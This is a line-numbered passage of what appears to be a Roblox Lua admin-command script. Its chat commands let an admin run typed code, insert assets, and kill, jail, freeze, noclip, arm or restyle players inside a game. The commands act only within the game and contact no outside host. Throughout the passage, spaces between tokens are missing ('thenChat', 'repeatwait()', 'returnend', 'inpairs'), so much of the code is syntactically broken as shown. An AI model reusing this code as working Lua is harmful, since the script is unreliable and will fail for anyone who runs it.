  436. if script:findFirstChild("LocalScriptBase") then
  437. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  438. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  439. end
  440. end))
  441. end
  442.  
  443. if msg:lower():sub(1,4) == "ins " then
  444. coroutine.resume(coroutine.create(function()
  445. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  446. if obj and #obj:children() >= 1 and plr.Character then
  447. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent =game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  448. end
  449. end))
  450. end
  451.  
  452. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  453. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy()end
  454. objects = {}
  455. end
  456.  
  457. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  458. game.Lighting.Ambient = origsettings.abt
  459. game.Lighting.Brightness = origsettings.brt
  460. game.Lighting.TimeOfDay = origsettings.time
  461. game.Lighting.FogColor = origsettings.fclr
  462. game.Lighting.FogEnd = origsettings.fe
  463. game.Lighting.FogStart = origsettings.fs
  464. for i, v in pairs(lobjs) do v:Destroy() end
  465. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  466. end
  467.  
  468. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  469. coroutine.resume(coroutine.create(function()
  470. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  471. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  472. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 =Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter."box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment= "Right" box.ZIndex = 10 box.ClipsDescendants = true
  473. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." thenChat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  474. end))
  475. end
  476.  
  477. if msg:lower():sub(1,2) == "m " then
  478. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  479. end
  480.  
  481. if msg:lower():sub(1,2) == "h " then
  482. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  483. end
  484.  
  485. if msg:lower():sub(1,3) == "pm " then
  486. local chk1 = msg:lower():sub(4):find(" ") + 3
  487. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  488. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  489. end
  490.  
  491. if msg:lower():sub(1,11) == "resetstats " then
  492. local plrz = GetPlr(plr, msg:lower():sub(12))
  493. for i, v in pairs(plrz) do
  494. coroutine.resume(coroutine.create(function()
  495. if v and v:findFirstChild("leaderstats") then
  496. for a, q in pairs(v.leaderstats:children()) do
  497. if q:IsA("IntValue") then q.Value = 0 end
  498. end
  499. end
  500. end))
  501. end
  502. end
  503.  
  504. if msg:lower():sub(1,5) == "gear " then
  505. local chk1 = msg:lower():sub(6):find(" ") + 5
  506. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  507. for i, v in pairs(plrz) do
  508. coroutine.resume(coroutine.create(function()
  509. if v and v.Character then
  510. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  511. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  512. obj:Destroy()
  513. end
  514. end))
  515. end
  516. end
  517.  
  518. if msg:lower():sub(1,4) == "hat " then
  519. local chk1 = msg:lower():sub(5):find(" ") + 4
  520. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  521. for i, v in pairs(plrz) do
  522. coroutine.resume(coroutine.create(function()
  523. if v and v.Character then
  524. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  525. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  526. obj:Destroy()
  527. end
  528. end))
  529. end
  530. end
  531.  
  532. if msg:lower():sub(1,5) == "cape " then
  533. local chk1 = msg:lower():sub(6):find(" ")
  534. local plrz = GetPlr(plr, msg:lower():sub(6))
  535. local str = "torso.BrickColor"
  536. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  537. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  538. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  539. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  540. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  541. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  542. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  543. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]]end
  544. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  545. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  546. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  547. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  548. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  549. if BrickColor.new(teststr) ~= nil then str = teststr end
  550. end
  551. for i, v in pairs(plrz) do
  552. coroutine.resume(coroutine.create(function()
  553. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  554. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  555. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  556. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  557. local torso = plr.Character.Torso
  558. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  559. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  560. p.Size = Vector3.new(.2,.2,.2)
  561. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  562. local motor1 = Instance.new("Motor", p)
  563. motor1.Part0 = p
  564. motor1.Part1 = torso
  565. motor1.MaxVelocity = .01
  566. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  567. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  568. local wave = false
  569. repeat wait(1/44)
  570. local ang = 0.1
  571. local oldmag = torso.Velocity.magnitude
  572. local mv = .002
  573. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  574. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  575. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  576. motor1.DesiredAngle = -ang
  577. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  578. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  579. if torso.Velocity.magnitude < .1 then wait(.1) end
  580. until not p or p.Parent ~= torso.Parent
  581. script:Destroy()
  582. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  583. end
  584. end))
  585. end
  586. end
  587.  
  588. if msg:lower():sub(1,7) == "uncape " then
  589. local plrz = GetPlr(plr, msg:lower():sub(8))
  590. for i, v in pairs(plrz) do
  591. coroutine.resume(coroutine.create(function()
  592. if v and v:findFirstChild("PlayerGui") and v.Character then
  593. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  594. end
  595. end))
  596. end
  597. end
  598.  
  599. if msg:lower():sub(1,7) == "noclip " then
  600. local plrz = GetPlr(plr, msg:lower():sub(8))
  601. for i, v in pairs(plrz) do
  602. coroutine.resume(coroutine.create(function()
  603. if v and v:findFirstChild("PlayerGui") then
  604. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  605. cl.Parent = v.PlayerGui cl.Disabled = false
  606. end
  607. end))
  608. end
  609. end
  610.  
  611. if msg:lower():sub(1,5) == "clip " then
  612. local plrz = GetPlr(plr, msg:lower():sub(6))
  613. for i, v in pairs(plrz) do
  614. coroutine.resume(coroutine.create(function()
  615. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") andv.Character:findFirstChild("Humanoid") then
  616. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  617. v.Character.Torso.Anchored = false
  618. wait(.1) v.Character.Humanoid.PlatformStand = false
  619. end
  620. end))
  621. end
  622. end
  623.  
  624. if msg:lower():sub(1,5) == "jail " then
  625. local plrz = GetPlr(plr, msg:lower():sub(6))
  626. for i, v in pairs(plrz) do
  627. coroutine.resume(coroutine.create(function()
  628. if v and v.Character and v.Character:findFirstChild("Torso") then
  629. local vname = v.Name
  630. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  631. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  632. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6)top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black")top.CFrame = cf * CFrame.new(0,-3.5,0)
  633. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeatwait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  634. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then returnend repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cfend)
  635. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  636. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeatwait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  637. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then returnend repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cfend)
  638. end)
  639. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  640. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size =Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  641. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  642. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf *CFrame.new(3,0,0)
  643. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  644. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  645. local msh2 = msh:Clone() msh2.Parent = back
  646. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  647. local msh4 = msh3:Clone() msh4.Parent = left
  648. v.Character.Torso.CFrame = cf
  649. end
  650. end))
  651. end
  652. end
  653.  
  654. if msg:lower():sub(1,7) == "unjail " then
  655. local plrz = GetPlr(plr, msg:lower():sub(8))
  656. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl inpairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  657. end
  658.  
  659. if msg:lower():sub(1,11) == "starttools " then
  660. local plrz = GetPlr(plr, msg:lower():sub(12))
  661. for i, v in pairs(plrz) do
  662. coroutine.resume(coroutine.create(function()
  663. if v and v:findFirstChild("Backpack") then
  664. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  665. end
  666. end))
  667. end
  668. end
  669.  
  670. if msg:lower():sub(1,6) == "sword " then
  671. local plrz = GetPlr(plr, msg:lower():sub(7))
  672. for i, v in pairs(plrz) do
  673. coroutine.resume(coroutine.create(function()
  674. if v and v:findFirstChild("Backpack") then
  675. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId ="rbxasset://Textures/Sword128.png"
  676. sword.GripForward = Vector3.new(-1,0,0)
  677. sword.GripPos = Vector3.new(0,0,-1.5)
  678. sword.GripRight = Vector3.new(0,1,0)
  679. sword.GripUp = Vector3.new(0,0,1)
  680. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size =Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  681. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId ="rbxasset://textures/SwordTexture.png"
  682. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  683. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  684. local Damage = 15
  685. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  686. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  687. SlashSound.Volume = 1
  688. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  689. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  690. LungeSound.Volume = 1
  691. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  692. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  693. UnsheathSound.Volume = 1
  694. local last = 0
  695. script.Parent.Handle.Touched:connect(function(hit)
  696. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  697. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  698. hit.Parent.Humanoid:TakeDamage(Damage)
  699. end
  700. end)
  701. script.Parent.Activated:connect(function()
  702. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  703. script.Parent.Enabled = false
  704. local tick = game:service("RunService").Stepped:wait()
  705. if tick - last <= .2 then
  706. LungeSound:play()
  707. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  708. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  709. wait(.2)
  710. script.Parent.GripForward = Vector3.new(0,0,1)
  711. script.Parent.GripRight = Vector3.new(0,-1,0)
  712. script.Parent.GripUp = Vector3.new(-1,0,0)
  713. wait(.3)
  714. frc:Destroy() wait(.5)
  715. script.Parent.GripForward = Vector3.new(-1,0,0)
  716. script.Parent.GripRight = Vector3.new(0,1,0)
  717. script.Parent.GripUp = Vector3.new(0,0,1)
  718. else
  719. SlashSound:play()
  720. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  721. end
  722. last = tick
  723. script.Parent.Enabled = true
  724. end)
  725. script.Parent.Equipped:connect(function(mouse)
  726. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  727. UnsheathSound:play()
  728. script.Parent.Enabled = true
  729. if not mouse then return end
  730. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  731. end)]] cl.Disabled = false
  732. end
  733. end))
  734. end
  735. end
  736.  
  737. if msg:lower():sub(1,5) == "kill " then
  738. local plrz = GetPlr(plr, msg:lower():sub(6))
  739. for i, v in pairs(plrz) do
  740. coroutine.resume(coroutine.create(function()
  741. if v and v.Character then v.Character:BreakJoints() end
  742. end))
  743. end
  744. end
  745.  
  746. if msg:lower():sub(1,8) == "respawn " then
  747. local plrz = GetPlr(plr, msg:lower():sub(9))
  748. for i, v in pairs(plrz) do
  749. coroutine.resume(coroutine.create(function()
  750. if v and v.Character then v:LoadCharacter() end
  751. end))
  752. end
  753. end
  754.  
  755. if msg:lower():sub(1,5) == "trip " then
  756. local plrz = GetPlr(plr, msg:lower():sub(6))
  757. for i, v in pairs(plrz) do
  758. coroutine.resume(coroutine.create(function()
  759. if v and v.Character and v.Character:findFirstChild("Torso") then
  760. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  761. end
  762. end))
  763. end
  764. end
  765.  
  766. if msg:lower():sub(1,5) == "stun " then
  767. local plrz = GetPlr(plr, msg:lower():sub(6))
  768. for i, v in pairs(plrz) do
  769. coroutine.resume(coroutine.create(function()
  770. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  771. v.Character.Humanoid.PlatformStand = true
  772. end
  773. end))
  774. end
  775. end
  776.  
  777. if msg:lower():sub(1,7) == "unstun " then
  778. local plrz = GetPlr(plr, msg:lower():sub(8))
  779. for i, v in pairs(plrz) do
  780. coroutine.resume(coroutine.create(function()
  781. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  782. v.Character.Humanoid.PlatformStand = false
  783. end
  784. end))
  785. end
  786. end
  787.  
  788. if msg:lower():sub(1,5) == "jump " then
  789. local plrz = GetPlr(plr, msg:lower():sub(6))
  790. for i, v in pairs(plrz) do
  791. coroutine.resume(coroutine.create(function()
  792. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  793. v.Character.Humanoid.Jump = true
  794. end
  795. end))
  796. end
  797. end
  798.  
  799. if msg:lower():sub(1,4) == "sit " then
  800. local plrz = GetPlr(plr, msg:lower():sub(5))
  801. for i, v in pairs(plrz) do
  802. coroutine.resume(coroutine.create(function()
  803. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  804. v.Character.Humanoid.Sit = true
  805. end
  806. end))
  807. end
  808. end
  809.  
  810. if msg:lower():sub(1,10) == "invisible " then
  811. local plrz = GetPlr(plr, msg:lower():sub(11))
  812. for i, v in pairs(plrz) do
  813. coroutine.resume(coroutine.create(function()
  814. if v and v.Character then
  815. for a, obj in pairs(v.Character:children()) do
  816. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 endelseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  817. end
  818. end
  819. end))
  820. end
  821. end
  822.  
  823. if msg:lower():sub(1,8) == "visible " then
  824. local plrz = GetPlr(plr, msg:lower():sub(9))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v.Character then
  828. for a, obj in pairs(v.Character:children()) do
  829. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 endelseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  830. end
  831. end
  832. end))
  833. end
  834. end
  835.  
  836. if msg:lower():sub(1,5) == "lock " then
  837. local plrz = GetPlr(plr, msg:lower():sub(6))
  838. for i, v in pairs(plrz) do
  839. coroutine.resume(coroutine.create(function()
  840. if v and v.Character then
  841. for a, obj in pairs(v.Character:children()) do
  842. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") thenobj.Handle.Locked = true end
  843. end
  844. end
  845. end))
  846. end
  847. end
  848.  
  849. if msg:lower():sub(1,7) == "unlock " then
  850. local plrz = GetPlr(plr, msg:lower():sub(8))
  851. for i, v in pairs(plrz) do
  852. coroutine.resume(coroutine.create(function()
  853. if v and v.Character then
  854. for a, obj in pairs(v.Character:children()) do
  855. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") thenobj.Handle.Locked = false end
  856. end
  857. end
  858. end))
  859. end
  860. end
  861.  
  862. if msg:lower():sub(1,8) == "explode " then
  863. local plrz = GetPlr(plr, msg:lower():sub(9))
  864. for i, v in pairs(plrz) do
  865. coroutine.resume(coroutine.create(function()
  866. if v and v.Character and v.Character:findFirstChild("Torso") then
  867. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  868. end
  869. end))
  870. end
  871. end
  872.  
  873. if msg:lower():sub(1,4) == "age " then
  874. local plrz = GetPlr(plr, msg:lower():sub(5))
  875. for i, v in pairs(plrz) do
  876. coroutine.resume(coroutine.create(function()
  877. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  878. end))
  879. end
  880. end
  881.  
  882. if msg:lower():sub(1,5) == "fire " then
  883. local plrz = GetPlr(plr, msg:lower():sub(6))
  884. for i, v in pairs(plrz) do
  885. coroutine.resume(coroutine.create(function()
  886. if v and v.Character and v.Character:findFirstChild("Torso") then
  887. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  888. end
  889. end))
  890. end
  891. end
  892.  
  893. if msg:lower():sub(1,7) == "unfire " then
  894. local plrz = GetPlr(plr, msg:lower():sub(8))
  895. for i, v in pairs(plrz) do
  896. coroutine.resume(coroutine.create(function()
  897. if v and v.Character and v.Character:findFirstChild("Torso") then
  898. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  899. end
  900. end))
  901. end
  902. end
  903.  
  904. if msg:lower():sub(1,6) == "smoke " then
  905. local plrz = GetPlr(plr, msg:lower():sub(7))
  906. for i, v in pairs(plrz) do
  907. coroutine.resume(coroutine.create(function()
  908. if v and v.Character and v.Character:findFirstChild("Torso") then
  909. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  910. end
  911. end))
  912. end
  913. end
  914.  
  915. if msg:lower():sub(1,8) == "unsmoke " then
  916. local plrz = GetPlr(plr, msg:lower():sub(9))
  917. for i, v in pairs(plrz) do
  918. coroutine.resume(coroutine.create(function()
  919. if v and v.Character and v.Character:findFirstChild("Torso") then
  920. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  921. end
  922. end))
  923. end
  924. end
  925.  
  926. if msg:lower():sub(1,9) == "sparkles " then
  927. local plrz = GetPlr(plr, msg:lower():sub(10))
  928. for i, v in pairs(plrz) do
  929. coroutine.resume(coroutine.create(function()
  930. if v and v.Character and v.Character:findFirstChild("Torso") then
  931. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  932. end
  933. end))
  934. end
  935. end
  936.  
  937. if msg:lower():sub(1,11) == "unsparkles " then
  938. local plrz = GetPlr(plr, msg:lower():sub(12))
  939. for i, v in pairs(plrz) do
  940. coroutine.resume(coroutine.create(function()
  941. if v and v.Character and v.Character:findFirstChild("Torso") then
  942. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  943. end
  944. end))
  945. end
  946. end
  947.  
  948. if msg:lower():sub(1,3) == "ff " then
  949. local plrz = GetPlr(plr, msg:lower():sub(4))
  950. for i, v in pairs(plrz) do
  951. coroutine.resume(coroutine.create(function()
  952. if v and v.Character then Instance.new("ForceField", v.Character) end
  953. end))
  954. end
  955. end
  956.  
  957. if msg:lower():sub(1,5) == "unff " then
  958. local plrz = GetPlr(plr, msg:lower():sub(6))
  959. for i, v in pairs(plrz) do
  960. coroutine.resume(coroutine.create(function()
  961. if v and v.Character then
  962. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  963. end
  964. end))
  965. end
  966. end
  967.  
  968. if msg:lower():sub(1,7) == "punish " then
  969. local plrz = GetPlr(plr, msg:lower():sub(8))
  970. for i, v in pairs(plrz) do
  971. coroutine.resume(coroutine.create(function()
  972. if v and v.Character then
  973. v.Character.Parent = game:service("Lighting")
  974. end
  975. end))
  976. end
  977. end
  978.  
  979. if msg:lower():sub(1,9) == "unpunish " then
  980. local plrz = GetPlr(plr, msg:lower():sub(10))
  981. for i, v in pairs(plrz) do
  982. coroutine.resume(coroutine.create(function()
  983. if v and v.Character then
  984. v.Character.Parent = game:service("Workspace")
  985. v.Character:MakeJoints()
  986. end
  987. end))
  988. end
  989. end
  990.  
  991. if msg:lower():sub(1,7) == "freeze " then
  992. local plrz = GetPlr(plr, msg:lower():sub(8))
  993. for i, v in pairs(plrz) do
  994. coroutine.resume(coroutine.create(function()
  995. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  996. for a, obj in pairs(v.Character:children()) do
  997. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  998. end
  999. end
  1000. end))
  1001. end
  1002. end
  1003.  
  1004. if msg:lower():sub(1,5) == "thaw " then
  1005. local plrz = GetPlr(plr, msg:lower():sub(6))
  1006. for i, v in pairs(plrz) do
  1007. coroutine.resume(coroutine.create(function()
  1008. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1009. for a, obj in pairs(v.Character:children()) do
  1010. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1011. end
  1012. end
  1013. end))
  1014. end
  1015. end
  1016.  
  1017. if msg:lower():sub(1,5) == "heal " then
  1018. local plrz = GetPlr(plr, msg:lower():sub(6))
  1019. for i, v in pairs(plrz) do
  1020. coroutine.resume(coroutine.create(function()
  1021. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1022. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1023. end
  1024. end))
  1025. end
  1026. end
  1027.  
  1028. if msg:lower():sub(1,4) == "god " then
  1029. local plrz = GetPlr(plr, msg:lower():sub(5))
  1030. for i, v in pairs(plrz) do
  1031. coroutine.resume(coroutine.create(function()
  1032. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1033. v.Character.Humanoid.MaxHealth = math.huge
  1034. v.Character.Humanoid.Health = 9e9
  1035. end
  1036. end))
  1037. end
  1038. end
  1039.  
  1040. if msg:lower():sub(1,6) == "ungod " then
  1041. local plrz = GetPlr(plr, msg:lower():sub(7))
  1042. for i, v in pairs(plrz) do
  1043. coroutine.resume(coroutine.create(function()
  1044. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1045. v.Character.Humanoid.MaxHealth = 100
  1046. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1047. end
  1048. end))
  1049. end
  1050. end
  1051.  
  1052. if msg:lower():sub(1,8) == "ambient " then
  1053. local chk1 = msg:lower():sub(9):find(" ") + 8
  1054. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1055. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1056. end
  1057.  
  1058. if msg:lower():sub(1,11) == "brightness " then
  1059. game.Lighting.Brightness = msg:sub(12)
  1060. end
  1061.  
  1062. if msg:lower():sub(1,5) == "time " then
  1063. game.Lighting.TimeOfDay = msg:sub(6)
  1064. end
  1065.  
  1066. if msg:lower():sub(1,9) == "fogcolor " then
  1067. local chk1 = msg:lower():sub(10):find(" ") + 9
  1068. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1069. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1070. end
  1071.  
